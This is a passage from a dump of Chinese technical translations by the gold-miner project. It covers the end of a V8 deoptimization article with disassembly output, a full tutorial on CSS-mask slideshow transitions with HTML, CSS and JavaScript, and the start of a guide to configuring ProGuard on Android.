  REX.W movq rsi,[rbp-0x8]\n0xc145e604269    73  e832ffdfff     call 0xc145e4041a0       ;; code: STUB, CEntryStub, minor: 8\n0xc145e60426e    78  a801           test al,0x1\n0xc145e604270    80  0f8598000000   jnz 238  (0xc145e60430e)\n0xc145e604276    86  488b5d10       REX.W movq rbx,[rbp+0x10]\n0xc145e60427a    90  f6c301         testb rbx,0x1\n0xc145e60427d    93  0f8590000000   jnz 243  (0xc145e604313)\n0xc145e604283    99  488bd3         REX.W movq rdx,rbx\n0xc145e604286   102  48c1ea20       REX.W shrq rdx, 32\n0xc145e60428a   106  488bc8         REX.W movq rcx,rax\n0xc145e60428d   109  48c1e920       REX.W shrq rcx, 32\n0xc145e604291   113  03d1           addl rdx,rcx\n0xc145e604293   115  0f807f000000   jo 248  (0xc145e604318)\n0xc145e604299   121  488b4d18       REX.W movq rcx,[rbp+0x18]\n0xc145e60429d   125  f6c101         testb rcx,0x1\n0xc145e6042a0   128  0f8477000000   jz 253  (0xc145e60431d)\n0xc145e6042a6   134  48be713be83d350d0000 REX.W movq rsi,0xd353de83b71    ;; object: 0xd353de83b71 <Map(FAST_ELEMENTS)>\n0xc145e6042b0   144  483971ff       REX.W cmpq [rcx-0x1],rsi\n0xc145e6042b4   148  0f8568000000   jnz 258  (0xc145e604322)\n0xc145e6042ba   154  488b710f       REX.W movq rsi,[rcx+0xf]\n0xc145e6042be   158  8b791b         movl rdi,[rcx+0x1b]\n0xc145e6042c1   161  49ba0000000001000000 REX.W movq r10,0x100000000\n0xc145e6042cb   171  4c3bd7         REX.W cmpq r10,rdi\n0xc145e6042ce   174  7310           jnc 192  (0xc145e6042e0)\n0xc145e6042d0   176  48ba0000000001000000 REX.W movq rdx,0x100000000\n0xc145e6042da   186  e841fedfff     call Abort  (0xc145e404120)    ;; code: BUILTIN\n0xc145e6042df   191  cc             int3l\n0xc145e6042e0   192  3bd7           cmpl rdx,rdi\n0xc145e6042e2   194  0f833f000000   jnc 263  (0xc145e604327)\n0xc145e6042e8   200  488b44d60f     REX.W movq rax,[rsi+rdx*8+0xf]\n0xc145e6042ed   205  488be5         REX.W movq rsp,rbp\n0xc145e6042f0   208  5d             pop rbp\n0xc145e6042f1   209  c21800         ret 0x18\n0xc145e6042f4   212  48bb00b60d0501000000 REX.W movq rbx,0x1050db600    ;; external reference (Runtime::StackGuard)\n0xc145e6042fe   222  33c0           xorl rax,rax\n0xc145e604300   224  488b75f8       REX.W movq rsi,[rbp-0x8]\n0xc145e604304   228  e897fedfff     call 0xc145e4041a0       ;; code: STUB, CEntryStub, minor: 8\n0xc145e604309   233  e925ffffff     jmp 19  (0xc145e604233)\n0xc145e60430e   238  e801fdc7ff     call 0xc145e284014       ;; debug: deopt position, script offset '84'\n                                                             ;; debug: deopt position, inlining id '-1'\n                                                             ;; debug: deopt reason 'not a Smi'\n                                                             ;; debug: deopt index 2\n                                                             ;; deoptimization bailout 2\n0xc145e604313   243  e806fdc7ff     call 0xc145e28401e       ;; debug: deopt position, script offset '84'\n                                                             ;; debug: deopt position, inlining id '-1'\n                                                             ;; debug: deopt reason 'not a Smi'\n                                                             ;; debug: deopt index 3\n                                                             ;; deoptimization bailout 3\n0xc145e604318   248  e80bfdc7ff     call 0xc145e284028       ;; debug: deopt position, script offset '84'\n                                                             ;; debug: deopt position, inlining id '-1'\n                                                             ;; debug: deopt reason 'overflow'\n                                                             ;; debug: deopt index 4\n                                                             ;; deoptimization bailout 4\n0xc145e60431d   253  e810fdc7ff     call 0xc145e284032       ;; debug: deopt position, script offset '84'\n                                                             ;; debug: deopt position, inlining id '-1'\n                                                             ;; debug: deopt reason 'Smi'\n                                                             ;; debug: deopt index 5\n                                                             ;; deoptimization bailout 5\n0xc145e604322   258  e815fdc7ff     call 0xc145e28403c       ;; debug: deopt position, script offset '84'\n                                                             ;; debug: deopt position, inlining id '-1'\n                                                             ;; debug: deopt reason 'wrong map'\n                                                             ;; debug: deopt index 6\n                                                             ;; deoptimization bailout 6\n0xc145e604327   263  e81afdc7ff     call 0xc145e284046       ;; debug: deopt position, script offset '84'\n                                                             ;; debug: deopt position, inlining id '-1'\n                                                             ;; debug: deopt reason 'out of bounds'\n                                                             ;; debug: deopt index 7\n                                                             ;; deoptimization bailout 7\n0xc145e60432c   268  90             nop\n0xc145e60432d   269  90             nop\n0xc145e60432e   270  90             nop\n0xc145e60432f   271  90             nop\n0xc145e604330   272  90             nop\n0xc145e604331   273  90             nop\n0xc145e604332   274  90             nop\n0xc145e604333   275  90             nop\n0xc145e604334   276  90             nop\n0xc145e604335   277  90             nop\n0xc145e604336   278  90             nop\n0xc145e604337   279  90             nop\n0xc145e604338   280  90             nop\n0xc145e604339   281  0f1f00         nop\n\nSource positions:\n pc offset  position\n         0        44\n        19        61\n        54        72\n        78        84\n       205        94\n       212        44\n\nInlined functions (count = 0)\n\nDeoptimization Input Data (deopt points = 9)\n index  ast id    argc     pc\n     0      12       0     78\n     1      12       0     -1\n     2      21       0     -1\n     3      21       0     -1\n     4      21       0     -1\n     5      21       0     -1\n     6      21       0     -1\n     7      21       0     -1\n     8       0       0    233\n\nSafepoints (size = 30)\n0xc145e60426e    78  0000 (sp -> fp)       1\n0xc145e604309   233  0000 (sp -> fp)       8\n\nRelocInfo (size = 142)\n0xc145e604235  embedded object  (0x3f6ee92313c1 <FixedArray[5]>)\n0xc145e60424d  embedded object  (0x3f6ee9230c69 <String[11]: secondIndex>)\n0xc145e604258  external reference (Runtime::ThrowReferenceError)  (0x1050d6850)\n0xc145e60426a  code target (STUB)  (0xc145e4041a0)\n0xc145e6042a8  embedded object  (0xd353de83b71 <Map(FAST_ELEMENTS)>)\n0xc145e6042db  code target (BUILTIN)  (0xc145e404120)\n0xc145e6042f6  external reference (Runtime::StackGuard)  (0x1050db600)\n0xc145e604305  code target (STUB)  (0xc145e4041a0)\n0xc145e60430e  deopt script offset  (84)\n0xc145e60430e  deopt inlining id  (-1)\n0xc145e60430e  deopt reason  (not a Smi)\n0xc145e60430e  deopt index\n0xc145e60430f  runtime entry  (deoptimization bailout 2)\n0xc145e604313  deopt script offset  (84)\n0xc145e604313  deopt inlining id  (-1)\n0xc145e604313  deopt reason  (not a Smi)\n0xc145e604313  deopt index\n0xc145e604314  runtime entry  (deoptimization bailout 3)\n0xc145e604318  deopt script offset  (84)\n0xc145e604318  deopt inlining id  (-1)\n0xc145e604318  deopt reason  (overflow)\n0xc145e604318  deopt index\n0xc145e604319  runtime entry  (deoptimization bailout 4)\n0xc145e60431d  deopt script offset  (84)\n0xc145e60431d  deopt inlining id  (-1)\n0xc145e60431d  deopt reason  (Smi)\n0xc145e60431d  deopt index\n0xc145e60431e  runtime entry  (deoptimization bailout 5)\n0xc145e604322  deopt script offset  (84)\n0xc145e604322  deopt inlining id  (-1)\n0xc145e604322  deopt reason  (wrong map)\n0xc145e604322  deopt index\n0xc145e604323  runtime entry  (deoptimization bailout 6)\n0xc145e604327  deopt script offset  (84)\n0xc145e604327  deopt inlining id  (-1)\n0xc145e604327  deopt reason  (out of bounds)\n0xc145e604327  deopt index\n0xc145e604328  runtime entry  (deoptimization bailout 7)\n\n--- End code ---\n```\n\n就到这儿，结束了！\n\n我们看了 2 个非常简单的例子，希望你能明白总的思想。\n\n想看你的函数反优化的情况，只要传递 `--trace-opt`就好。\n\n总的来说，不要过度优化，因为可能会伤害代码可读性（比如函数 ele-at 的第 3 个例子）。你也可以传递字符串数组或其它，这没问题。然而，如果真的不需要优化，就不要（优化）。就第 1 个例子而言，我认为即使 2 个函数看起来相同，最好还是能分成 2 个不同名称的函数，这样其他开发者看到 concat 或者 sum，马上就知道这个函数的作用。\n\n未来，你可以添加 string 特有的操作，比如 (a + b).toUpperCase()，而不需要对 sum 函数做任何特殊处理。\n\n最后，你应该牢记过度优化可能会伤害可读性，最终导致不可维护的代码。尽量不要使用任何编译语言中不适用的奇怪模式。\n\n最后的最后，我要感谢 Google 的软件工程师、V8 团队软件工程师兼技术领导 [Benedikt Meurer](https://twitter.com/bmeurer)，是他帮助校对了本文。这里是他的博客：http://benediktmeurer.de/\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/transition-effect-with-css-masks.md",
    "content": "> * 原文地址：[Transition Effect with CSS Masks](http://tympanus.net/codrops/2016/09/29/transition-effect-with-css-masks/)\n* 原文作者：[Robin Delaporte](http://tympanus.net/codrops/author/robin/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[luoyaqifei](http://www.zengmingxia.com)\n* 校对者：[Graning](https://github.com/Graning), [hyuni](http://hyuni.cn/)\n\n# CSS 遮罩的过渡效果\n\n一份关于如何使用 CSS 遮罩来创建一些有趣的视觉滑动过渡的教程。这份教程具有高度试验性！\n\n![](http://codropspz.tympanus.netdna-cdn.com/codrops/wp-content/uploads/2016/09/CSSMaskTransition_800x600.jpg)\n\n\n[查看演示](http://tympanus.net/Tutorials/CSSMaskTransition/) [下载源码](http://tympanus.net/Tutorials/CSSMaskTransition/CSSMaskTransition.zip)\n\n今天我们想向你展示怎样创建一个有趣简单并且吸引眼球的过渡效果，采用的是 [CSS 遮罩](http://tympanus.net/codrops/css_reference/mask/) 。 与剪裁一样，遮罩是另一种定义可见性和与一个元素组合的方式。在接下来的教程中我们将展示给你的是：如何将一种现代过渡效果的新属性应用在简单的幻灯片上。我们使用 steps() 时间函数来应用动画，并将一张遮罩 PNG 移动到一张图片上方，来达到有趣的过渡效果。\n\n**注意：**请记住，这种效果是**具有高度试验性**的，只能被某些现代浏览器支持。\n\n![](http://7xl8me.com1.z0.glb.clouddn.com/CSS%20Masks.png)\n\n记住 Firefox 只部分支持（它只支持行内 SVG 遮罩元素），因此我们现在需要有一个回退机制，很快我们就可以迎接所有现有浏览器的支持。注意我们加入 [Modernizr](https://modernizr.com/download?cssmask-setclasses&q=css%20mask) 来检查是否支持。\n\n**所以让我们开始吧！**\n\n\n## 创建遮罩图\n\n_ 我们将走进本教程的第一个例子（演示1）。_\n\n为了让遮罩过渡效果可行，我们需要一张用来隐藏／显示底层图片某些部分的图片。该遮罩图会是一张带有透明部分的 PNG 。该 PNG 自身是一张雪碧图，看上去像下图这样：\n\n![CSS 遮罩过渡](http://codropspz.tympanus.netdna-cdn.com/codrops/wp-content/uploads/2016/09/sprite-example.jpg)\n\n黑色部分显示的是当前图，同时，白色部分（其实是透明的）就是图片中被遮住的部分，它露出了第二张图。\n\n为了创建雪碧图，我们需要用到这个 [视频](https://youtu.be/Tb7-pCetjG8) 。我们将它导入 Adobe After Effects 内来减短视频时间，移除白色部分并作为 PNG 序列导出。\n\n为了将时长减短至 1.4 秒（即我们想要过渡发生的时间），我们将采用 **[Time stretch](https://helpx.adobe.com/after-effects/using/time-stretching-time-remapping.html)** 效果。\n\n![CSS 遮罩过渡](http://codropspz.tympanus.netdna-cdn.com/codrops/wp-content/uploads/2016/09/time-300x230.jpg)\n\n为了移除白色部分，我们将采用 **Keying -> extract** 并将白点设为 0。在以下的截图里，蓝色部分是我们的组合背景，视频的透明部分。\n\n![CSS 遮罩过渡](http://codropspz.tympanus.netdna-cdn.com/codrops/wp-content/uploads/2016/09/key.jpg)\n\n最终，我们可以将我们的组合用 PNG 序列保存，然后使用 Photoshop 或者类似于 [CSS 雪碧图生成器](http://spritegen.website-performance.org/) 这样的工具来生成单张图片。\n\n![CSS 遮罩过渡](http://codropspz.tympanus.netdna-cdn.com/codrops/wp-content/uploads/2016/09/sprite-example.jpg)\n\n这是一张为了达到有机外观（译者注：指一种贴近大自然的外观）揭露效果生成的雪碧图。我们将创建另一个『翻转的』雪碧图，用来达到相反的效果。你可以在 _img_  这个存放演示文件的文件夹下找到所有不同的雪碧图。\n\n既然我们已经创建好了遮罩图，现在让我们挖掘一下我们简单的幻灯片例子中的 HTML 结构。\n\n## 标记\n\n为了我们的演示，我们将创建一个简单的幻灯片来展示遮罩效果。我们的幻灯片将会充斥整个屏幕，并且我们会添加几个能够触发幻灯页过渡的箭头。这个想法是用来将幻灯片重叠，然后在动画结束的时候，改变接下来的幻灯页的 z-index 。我们的幻灯片结构如下所示：\n\n```\n<div class=\"page-view\">\n\t<div class=\"project\">\n\t\t<div class=\"text\">\n\t\t\t<h1>“All good things are <br> wild & free”</h1>\n\t\t\t<p>Photo by Andreas Rønningen</p>\n\t\t</div>\n\t</div>\n\t<div class=\"project\">\n\t\t<div class=\"text\">\n\t\t\t<h1>“Into the wild”</h1>\n\t\t\t<p>Photo by John Price</p>\n\t\t</div>\n\t</div>\n\t<div class=\"project\">\n\t\t<div class=\"text\">\n\t\t\t<h1>“Is spring coming?”</h1>\n\t\t\t<p>Photo by Thomas Lefebvre</p>\n\t\t</div>\n\t</div>\n\t<div class=\"project\">\n\t\t<div class=\"text\">\n\t\t\t<h1>“Stay curious”</h1>\n\t\t\t<p>Photo by Maria</p>\n\t\t</div>\n\t</div>\n\t<nav class=\"arrows\">\n\t\t<div class=\"arrow previous\">\n\t\t\t<svg viewBox=\"208.3 352 4.2 6.4\">\n\t\t\t\t<polygon class=\"st0\" points=\"212.1,357.3 211.5,358 208.7,355.1 211.5,352.3 212.1,353 209.9,355.1\"/>\n\t\t\t</svg>\n\t\t</div>\n\t\t<div class=\"arrow next\">\n\t\t\t<svg viewBox=\"208.3 352 4.2 6.4\">\n\t\t\t\t<polygon class=\"st0\" points=\"212.1,357.3 211.5,358 208.7,355.1 211.5,352.3 212.1,353 209.9,355.1\"/>\n\t\t\t</svg>\n\t\t</div>\n\t</nav>\n</div>\n```\n\n这个 div 页面视图是我们的主容器，它将包含我们所有的幻灯页。这个项目内部的 div 是我们幻灯片中的幻灯页，每一张包含了一个标题和一个题注。并且，我们将为每张幻灯页设置一个单独的背景图。\n\n箭头用来触发后一个或前一个动画，以及在幻灯页里跳转。\n\n让我们看看这种风格。\n\n\n\n![](http://codropspz.tympanus.netdna-cdn.com/codrops/wp-content/themes/codropstheme03/images/advertisement.jpg)\n\n\n\n## CSS\n\n在这部分，我们将为我们的效果设定 CSS 。\n\n我们将创建一个典型的全屏幻灯片布局，里面包括一些居中标题和页面左下角的跳转链接。并且，我们会定义一些媒体查询来使移动设备兼容这种风格。\n\n除此之外，我们还会将我们的雪碧图设置成在我们的全局容器上不可见的背景，只有这样才能让它们在页面刚被打开的时候就能加载。\n\n    .demo-1 {\n    \tbackground: url(../img/nature-sprite.png) no-repeat -9999px -9999px;\n    \tbackground-size: 0;\n    }\n\n    .demo-1 .page-view {\n    \tbackground: url(../img/nature-sprite-2.png) no-repeat -9999px -9999px;\n    \tbackground-size: 0;\n    }\n\n每张幻灯页将会有一个不同的背景图：\n\n    .demo-1 .page-view .project:nth-child(1) {\n    \tbackground-image: url(../img/nature-1.jpg);\n    }\n\n    .demo-1 .page-view .project:nth-child(2) {\n    \tbackground-image: url(../img/nature-2.jpg);\n    }\n\n    .demo-1 .page-view .project:nth-child(3) {\n    \tbackground-image: url(../img/nature-3.jpg);\n    }\n\n    .demo-1 .page-view .project:nth-child(4) {\n    \tbackground-image: url(../img/nature-4.jpg);\n    }\n\n这不同的背景图当然会是你们动态实现的，但是在本教程中，我们的兴趣点在于效果，所以就让它简单一点。\n\n我们定义了一个叫做 **hide** 的类，无论何时我们想隐藏一张幻灯页，我们就将这个类加在幻灯页上。这个类的定义中包括了我们用作遮罩的雪碧图。\n\n已知一帧占据了屏幕的 100% 且我们的动画包含 23 张图，我们需要将宽度设置成 23 * 100% = 2300%。\n\n现在我们要使用 **steps** 来添加我们的 CSS 动画。我们想要我们的雪碧图在最后一帧的开头停住。因此，为了达到这个目的，我们需要数到 22 步，比总数少了一步。\n\n    .demo-1 .page-view .project:nth-child(even).hide {\n    \t-webkit-mask: url(../img/nature-sprite.png);\n    \tmask: url(../img/nature-sprite.png);\n    \t-webkit-mask-size: 2300% 100%;\n    \tmask-size: 2300% 100%;\n    \t-webkit-animation: mask-play 1.4s steps(22) forwards;\n    \tanimation: mask-play 1.4s steps(22) forwards;\n    }\n\n    .demo-1 .page-view .project:nth-child(odd).hide {\n    \t-webkit-mask: url(../img/nature-sprite-2.png);\n    \tmask: url(../img/nature-sprite-2.png);\n    \t-webkit-mask-size: 7100% 100%;\n    \tmask-size: 7100% 100%;\n    \t-webkit-animation: mask-play 1.4s steps(70) forwards;\n    \tanimation: mask-play 1.4s steps(70) forwards;\n    }\n\n最后，我们定义动画的关键帧：\n\n    @-webkit-keyframes mask-play {\n      from {\n    \t-webkit-mask-position: 0% 0;\n    \tmask-position: 0% 0;\n      }\n      to {\n    \t-webkit-mask-position: 100% 0;\n    \tmask-position: 100% 0;\n      }\n    }\n\n    @keyframes mask-play {\n      from {\n    \t-webkit-mask-position: 0% 0;\n    \tmask-position: 0% 0;\n      }\n      to {\n    \t-webkit-mask-position: 100% 0;\n    \tmask-position: 100% 0;\n      }\n    }\n\n现在我们已经走到这儿啦，我们有了一个结构化、风格化的幻灯片。让我们往上面添加功能！\n\n![CSS 遮罩过渡](http://codropspz.tympanus.netdna-cdn.com/codrops/wp-content/uploads/2016/09/main.jpg)\n\n## JavaScript\n\n我们将使用 [zepto.js](http://zeptojs.com/) 来进行演示，这是一个类似于 jQuery 的轻量级 JavaScript 框架。\n\n我们从声明所有的变量、设置长度和元素开始。\n\n然后我们初始化事件，得到当前和后一张幻灯页，设置正确的 z-index。\n\n    function Slider() {\n    \t// 长度\n    \tthis.durations = {\n    \t\tauto: 5000,\n    \t\tslide: 1400\n    \t};\n    \t// DOM\n    \tthis.dom = {\n    \t\twrapper: null,\n    \t\tcontainer: null,\n    \t\tproject: null,\n    \t\tcurrent: null,\n    \t\tnext: null,\n    \t\tarrow: null\n    \t};\n    \t// 杂七杂八的代码\n    \tthis.length = 0;\n    \tthis.current = 0;\n    \tthis.next = 0;\n    \tthis.isAuto = true;\n    \tthis.working = false;\n    \tthis.dom.wrapper = $('.page-view');\n    \tthis.dom.project = this.dom.wrapper.find('.project');\n    \tthis.dom.arrow = this.dom.wrapper.find('.arrow');\n    \tthis.length = this.dom.project.length;\n    \tthis.init();\n    \tthis.events();\n    \tthis.auto = setInterval(this.updateNext.bind(this), this.durations.auto);\n    }\n    /**\n     * 设置初始的 z-indexes & 得到当前项目\n     */\n    Slider.prototype.init = function () {\n    \tthis.dom.project.css('z-index', 10);\n    \tthis.dom.current = $(this.dom.project[this.current]);\n    \tthis.dom.next = $(this.dom.project[this.current + 1]);\n    \tthis.dom.current.css('z-index', 30);\n    \tthis.dom.next.css('z-index', 20);\n    };\n\n我们监听箭头上的点击事件，如果幻灯片目前没有动画的话，我们检查点击是否发生在后一个或者前一个箭头上。像这样，我们接受 next 这个变量的值，处理它并更换幻灯页。\n\n    /**\n     * 初始化事件\n     */\n    Slider.prototype.events = function () {\n    \tvar self = this;\n    \tthis.dom.arrow.on('click', function () {\n    \t\tif (self.working)\n    \t\t\treturn;\n    \t\tself.processBtn($(this));\n    \t});\n    };\n    Slider.prototype.processBtn = function (btn) {\n    \tif (this.isAuto) {\n    \t\tthis.isAuto = false;\n    \t\tclearInterval(this.auto);\n    \t}\n    \tif (btn.hasClass('next'))\n    \t\tthis.updateNext();\n    \tif (btn.hasClass('previous'))\n    \t\tthis.updatePrevious();\n    };\n    /**\n     * 更新后一个全局 index\n     */\n    Slider.prototype.updateNext = function () {\n    \tthis.next = (this.current + 1) % this.length;\n    \tthis.process();\n    };\n    /**\n     * 更新前一个全局 index\n     */\n    Slider.prototype.updatePrevious = function () {\n    \tthis.next--;\n    \tif (this.next < 0)\n    \t\tthis.next = this.length - 1;\n    \tthis.process();\n    };\n\n这个函数是我们幻灯片的心脏所在：我们对当前幻灯页设置 **“hide”** 类，一旦动画结束，我们减小前一页的 z-index ，增加当前页的 z-index ，然后移除前一页的 **“hide”** 类。\n\n    /**\n     * 处理，计算并在幻灯页之间切换\n     */\n    Slider.prototype.process = function () {\n    \tvar self = this;\n    \tthis.working = true;\n    \tthis.dom.next = $(this.dom.project[this.next]);\n    \tthis.dom.current.css('z-index', 30);\n    \tself.dom.next.css('z-index', 20);\n    \t// Hide current\n    \tthis.dom.current.addClass('hide');\n    \tsetTimeout(function () {\n    \t\tself.dom.current.css('z-index', 10);\n    \t\tself.dom.next.css('z-index', 30);\n    \t\tself.dom.current.removeClass('hide');\n    \t\tself.dom.current = self.dom.next;\n    \t\tself.current = self.next;\n    \t\tself.working = false;\n    \t}, this.durations.slide);\n    };\n\n加入相应的类会触发我们的动画，这些动画轮流将遮罩图片应用到我们的幻灯页上。主要的思想是用步伐动画函数来移动遮罩，从而创建过渡流。\n\n**这就是本文所有内容了！我希望你们能够觉得本教程有用，并且在你们自己创建很酷的遮罩效果时享受它！不要犹豫，分享你们的创造，我会很高兴看到的！**\n\n**浏览器支持：**\n\n*   Chrome 支持\n*   Firefox 不支持\n*   Internet Explorer 不支持\n*   Safari 支持\n*   Opera 支持\n\n## 参考和信用\n\n[查看演示](http://tympanus.net/Tutorials/CSSMaskTransition/) [下载源码](http://tympanus.net/Tutorials/CSSMaskTransition/CSSMaskTransition.zip)\n"
  },
  {
    "path": "TODO/troubleshooting-proguard-issues-on-android.md",
    "content": "> * 原文地址：[Troubleshooting ProGuard issues on Android](https://medium.com/google-developers/troubleshooting-proguard-issues-on-android-bce9de4f8a74)\n> * 原文作者：[Wojtek Kaliciński](https://medium.com/@wkalicinski?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/troubleshooting-proguard-issues-on-android.md](https://github.com/xitu/gold-miner/blob/master/TODO/troubleshooting-proguard-issues-on-android.md)\n> * 译者：[dieyidezui](http://www.dieyidezui.com)\n> * 校对者：[corresponding](https://github.com/corresponding)\n\n# ProGuard 在 Android 上的使用姿势\n\n## 为什么使用 ProGuard\n\nProGuard 是一个压缩、优化、混淆代码的工具。尽管有很多其他工具供开发者们使用，但是 ProGuard 作为 Android Gradle 构建过程的一部分，已经打包在 SDK 中。\n\n当我们构建应用时，使用 ProGuard 有很多好处。有的开发者更关心混淆这块功能，对我而言最大的用处是打包时移除 dex 中的无用代码。\n\n![](https://cdn-images-1.medium.com/max/800/0*qPTtQ4y-0g9kMye3.)\n\n一个 Android 示例应用的空间分布图，源码地址  [Topeka sample app](https://github.com/googlesamples/android-topeka)。\n\n减少包体积的好处有很多，比如增加用户黏性和满意度，提升下载速度，减少安装时间，以便在终端设备上连接用户，尤其是在新兴市场。当然，有时候您不得不限制您的应用的大小，比如 [Instant App 限制大小 4 MB](https://developer.android.com/topic/instant-apps/faqs.html#apk-size)，此时 ProGuard 显得必不可少了。\n\n如果以上还不足以说服您使用 ProGuard，其实移除无用代码和混淆所有名称还有其他更多的优化效果：\n\n* 在一些版本的 Android 设备上，DEX 代码会在安装或者运行时被编译成机器码。原始的 DEX 和优化后的机器码都会保留在设备中，所以算一下就知道：**代码越少，意味着编译时间越短，存储占用越少**。\n* ProGuard 除了可以大幅减少代码的空间之外，还可以**让所有的标识符（包、类和成员）都使用更短的名字**，如 `a.A` 和 `a.a.B`。这个过程就是混淆。混淆通过两种方式来减少代码：让表示名称的字符串更短；在这些方法或者属性有相同的签名情况，下这些字符串更容易被复用，最终减少了字符串池的数目。\n* 使用 ProGuard 是开启[资源压缩](https://developer.android.com/studio/build/shrink-code.html#shrink-resources)的前提条件. **资源压缩功能会移除您项目中代码没有引用到的资源文件**（如图片资源，这一般是 APK 中占比最大的部分了）.\n* 通过仅将您代码中实际使用的方法打包到 APK 中，**移除代码会帮您避免** [**64K dex 方法引用问题**](https://developer.android.com/studio/build/multidex.html)。尤其是您引用了很多第三方库的时候，这样可以大大降低在您应用中使用 Multidex 的需求。\n\n> **每个 Android 应用都应该使用代码压缩吗？我认为是的！**\n\n但是在您激动的跳起来之前，请先继续阅读下去。当您开启 ProGuard 时，在某些非常微妙的情况下会让您的应用崩溃。虽然有些错误会在构建应用时发生，您能及时发现，但是也有些错误您只能在运行时发现，所以请确保您的应用经过彻底的测试。\n\n### 如何使用 ProGuard？\n\n在您的项目中开启 ProGuard 只需简单到添加如下几行代码在您的主应用模块的 `build.gradle` 文件中：\n\n```\nbuildTypes {\n/* you will normally want to enable ProGuard only for your release\nbuilds, as it’s an additional step that makes the build slower and can make debugging more difficult */\n  \n  release {\n    minifyEnabled true\n    proguardFiles getDefaultProguardFile(‘proguard-android.txt’), ‘proguard-rules.pro’\n  }\n}\n```\n\nProGuard 自身的配置已经在另外一个单独的配置文件中完成了。上面的代码中，我给出了 Android Gradle 打包插件中的默认配置[¹](#9ca6)，接下去我会在 `proguard-rules.pro` 中加入其他的配置。\n\n在 ProGuard 官网您可以找到一个 [使用手册](https://www.guardsquare.com/en/proguard/manual/usage#keepoptions)。\n在您深入研究这些配置之前，最好先大概理解 ProGuard 是如何工作的和我们为什么要指定一些额外的选项。\n\n![](https://cdn-images-1.medium.com/max/800/0*Y0tJVDd5RnFy_qUL.)\n\n您也可以去观看 [part of this Google I/O session](https://youtu.be/AdfKNgyT438?t=6m50s) Shai Barack 的教学视频。\n\n简单来说，ProGuard 将您项目中的 .class 文件做为输入，然后寻找代码中所有的调用点，计算出代码中所有可达的调用关系图，然后移除剩余的部分（即不可达的代码和那些不会被调用的代码）。\n\n在您读 ProGuard 手册时，您没必要看那些 输入 / 输出的部分，因为这些 Android Gradle 打包插件会替您指定输入源（您和第三方库的代码) 和 Android jar 库（您构建应用时用到的 Android 框架类）。\n\n想要正确配置 ProGuard，最重要的就是让它知道运行时您的哪些代码不应该被移除（如果开启混淆的话，当然也要保持他们的名称不变）。当一些类和方法会被动态访问到时（如使用反射），在某些情况下，ProGuard 在构建调用图时不能正确的决定他们的「生死」，导致这些代码被错误的移除掉。当您只从 XML 资源引用您的代码会时（通常使用底层的反射），这个情况也会发生。\n\n在一次 Android 典型的构建过程中，AAPT（处理资源的工具）会生成一个额外的 ProGuard 规则文件。它会为 Android 应用添加一些特别的 [**keep 规则**](https://www.guardsquare.com/en/proguard/manual/usage#keepoptions)，所以您在 Android Manifest.xml 中记录的 Activities、Services、BroadcastReceivers 和 ContentProviders  会保持不动. 这就是为什么在上面动图中 `MyActivity` 类没有被被移除或者重命名.\n\nAAPT 也会 **keep** 住所有在 XML 布局文件使用到的 View 类（和它们的构造函数）和其他一些类，如在过渡动画资源中引用到的过渡类。 您可以在构建后直接看这个 AAPT 生成的配置文件，位置是：`<your_project>/<app_module>/build/intermediates/proguard-rules/<variant>/aapt_rules.txt`。\n\n![](https://cdn-images-1.medium.com/max/800/0*nVWailJWyOyv4sa5.)\n\n在构建时 AAPT 生成的一个示例 ProGuard 配置文件\n\n我会在本文[后面章节](#5a16)中讨论更多关于 **keep** 规则，但是在那之前我们最好先学一下在以下情况时应该怎么做：\n\n## 当 ProGuard 打断了您的构建\n\n在您可以测试是否开启 ProGuard 后所有代码在运行时都能正常工作前，您需要先构建您的应用。不幸的是，ProGuard 可能会发现一些引用的类缺失，并给予告警，导致您的构建失败。\n\n修复这个问题的关键是仔细观察构建时输出的消息，理解这些警告的内容并定位他们。通常的途径是修正您的依赖或者在您的 ProGuard 配置中添加 [**-dontwarn**](https://www.guardsquare.com/en/ProGuard/manual/usage#dontwarn) 规则。\n\n这些警告的一个原因就是，您的构建路径中没有加入需要依赖的 JARs，如使用了 _provided_ （仅编译时）依赖。而有时候，在 Android 上这些代码的依赖在运行时并不会被真正的调用。让我们看一个真实的例子。\n\n![](https://cdn-images-1.medium.com/max/800/0*a4_7ZBbkOG3gncuN.)\n\n一个项目依赖 OkHttp 3.8.0 构建时的消息。\n\nOkHttp 库在 3.8.0 版本的类中添加了新的注解（`javax.annotation.Nullable`）。但是因为它们使用了编译时的依赖，所以这些注解在最终构建时不会被打包进去（哪怕应用显式的依赖了 `com.google.code.findbugs:jsr305`），因此 [ProGuard 会抱怨](https://github.com/square/okhttp/issues/3355) 缺失了这些类.\n\n因为我们知道这些注解类在运行时不会被使用，我们可以通过在 ProGuard 配置中添加 **-dontwarn** 规则来安全地忽略掉这些警告，如  [在 OkHttp 文档中加入这些规则](https://github.com/square/okhttp/pull/3354/files)：\n\n```\n-dontwarn javax.annotation.Nullable  \n-dontwarn javax.annotation.ParametersAreNonnullByDefault\n```\n\n您应该经历过类似的过程，在输出消息中看到这些警告，然后重新构建直到构建通过。重要的是去理解为什么您会收到这些警告以及您在构建时是否真的缺少这些类。\n\n现在您可能会尝试使用 **-**[**ignorewarnings**](https://www.guardsquare.com/en/proguard/manual/usage#ignorewarnings) 选项直接忽略所有的警告，但这通常不是个好注意。在某些情况下，ProGuard 的警告确实有助于您发现闪退的罪魁祸首和关于[您配置上的其他问题](https://www.guardsquare.com/en/proguard/manual/troubleshooting#dynamicalclass)。\n\n您可能需要了解一下 Progard的 _notes_ （优先级低于警告的消息），它可以帮您发现一些反射相关的问题。虽然它不会打断您的构建，但是在运行时可能会闪退。这会在下面的场景中发生：\n\n## 当 ProGuard 移除过多的类\n\n在某些情况下，ProGuard 